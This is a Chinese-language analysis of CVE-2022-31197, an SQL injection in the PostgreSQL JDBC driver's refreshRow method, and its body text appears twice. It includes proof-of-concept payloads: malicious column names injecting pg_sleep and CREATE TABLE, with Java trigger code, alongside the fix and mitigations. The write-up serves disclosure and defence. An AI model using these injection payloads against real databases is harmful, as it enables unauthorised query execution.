CVE-2022-31197 PostgreSQL JDBC SQL注入分析
字数 1220 2025-08-26 22:11:23

PostgreSQL JDBC SQL注入漏洞分析(CVE-2022-31197)

漏洞概述

CVE-2022-31197是PostgreSQL JDBC驱动中的一个SQL注入漏洞,影响版本包括42.2.26和42.4.1之前的版本。该漏洞源于ResultSet.refreshRow()方法在处理列名时未进行适当转义,导致恶意构造的列名可被拼接进SQL语句中执行。

漏洞分析

漏洞位置

漏洞主要存在于PgResultSet#refreshRow方法中,该方法用于刷新结果集中的当前行数据。

触发条件

要触发此漏洞需要满足以下条件:

  1. 表中存在恶意构造的列名
  2. 在调用ResultSet.refreshRow()之前调用了ResultSet.next()
  3. 表中存在数据

漏洞代码分析

PgResultSet#refreshRow方法中,关键漏洞点在于SQL语句的拼接逻辑:

  1. 方法首先创建一个以"select"开头的StringBuilder
  2. 通过循环获取表中的列名并直接拼接
  3. 添加"from 表名 where"等关键词
  4. 获取primary key修饰的列名并添加"= ?"预编译参数

问题在于列名未经转义就直接拼接进SQL语句,导致恶意列名可被解释为SQL命令。

漏洞利用

Payload构造

典型的payload构造如下:

CREATE TABLE refresh_row_example (
    id int PRIMARY KEY,
    "1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);

payload构造原理:

  1. 第一部分1 FROM refresh_row_example;用于闭合前面的SQL语句
  2. 中间部分SELECT pg_sleep(10);是要执行的恶意SQL
  3. 最后部分SELECT * 用于闭合后面的SQL条件

利用示例

  1. 创建恶意表:
CREATE TABLE refresh_row_example3 (
    id int PRIMARY KEY,
    "1 FROM refresh_row_example3;CREATE TABLE test(id int);SELECT * " int
);
  1. 插入数据:
INSERT INTO refresh_row_example3 VALUES (1, 1);
  1. 在Java代码中执行:
ResultSet rs = stmt.executeQuery("SELECT * FROM refresh_row_example3");
rs.next();
rs.refreshRow(); // 触发SQL注入

这将导致CREATE TABLE test(id int)语句被执行。

漏洞修复

修复版本中(42.2.26和42.4.1之后),不再直接将列名写入SQL语句,而是通过Utils.escapeIdentifier进行处理,确保列名被正确转义。

修复代码对比可见:
https://github.com/pgjdbc/pgjdbc/commit/739e599d52ad80f8dcd6efedc6157859b1a9d637

防御措施

  1. 升级PostgreSQL JDBC驱动到修复版本(42.2.26或42.4.1及以上)
  2. 避免使用用户可控数据作为数据库对象名(表名、列名等)
  3. 对必须使用用户输入作为对象名的情况,进行严格的输入验证和转义

参考链接

  • 官方安全公告:https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-r38f-c4h4-hqq2
  • 修复提交:https://github.com/pgjdbc/pgjdbc/commit/739e599d52ad80f8dcd6efedc6157859b1a9d637
PostgreSQL JDBC SQL注入漏洞分析(CVE-2022-31197) 漏洞概述 CVE-2022-31197是PostgreSQL JDBC驱动中的一个SQL注入漏洞,影响版本包括42.2.26和42.4.1之前的版本。该漏洞源于 ResultSet.refreshRow() 方法在处理列名时未进行适当转义,导致恶意构造的列名可被拼接进SQL语句中执行。 漏洞分析 漏洞位置 漏洞主要存在于 PgResultSet#refreshRow 方法中,该方法用于刷新结果集中的当前行数据。 触发条件 要触发此漏洞需要满足以下条件: 表中存在恶意构造的列名 在调用 ResultSet.refreshRow() 之前调用了 ResultSet.next() 表中存在数据 漏洞代码分析 在 PgResultSet#refreshRow 方法中,关键漏洞点在于SQL语句的拼接逻辑: 方法首先创建一个以"select"开头的StringBuilder 通过循环获取表中的列名并直接拼接 添加"from 表名 where"等关键词 获取primary key修饰的列名并添加"= ?"预编译参数 问题在于列名未经转义就直接拼接进SQL语句,导致恶意列名可被解释为SQL命令。 漏洞利用 Payload构造 典型的payload构造如下: payload构造原理: 第一部分 1 FROM refresh_row_example; 用于闭合前面的SQL语句 中间部分 SELECT pg_sleep(10); 是要执行的恶意SQL 最后部分 SELECT * 用于闭合后面的SQL条件 利用示例 创建恶意表: 插入数据: 在Java代码中执行: 这将导致 CREATE TABLE test(id int) 语句被执行。 漏洞修复 修复版本中(42.2.26和42.4.1之后),不再直接将列名写入SQL语句,而是通过 Utils.escapeIdentifier 进行处理,确保列名被正确转义。 修复代码对比可见: https://github.com/pgjdbc/pgjdbc/commit/739e599d52ad80f8dcd6efedc6157859b1a9d637 防御措施 升级PostgreSQL JDBC驱动到修复版本(42.2.26或42.4.1及以上) 避免使用用户可控数据作为数据库对象名(表名、列名等) 对必须使用用户输入作为对象名的情况,进行严格的输入验证和转义 参考链接 官方安全公告:https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-r38f-c4h4-hqq2 修复提交:https://github.com/pgjdbc/pgjdbc/commit/739e599d52ad80f8dcd6efedc6157859b1a9d637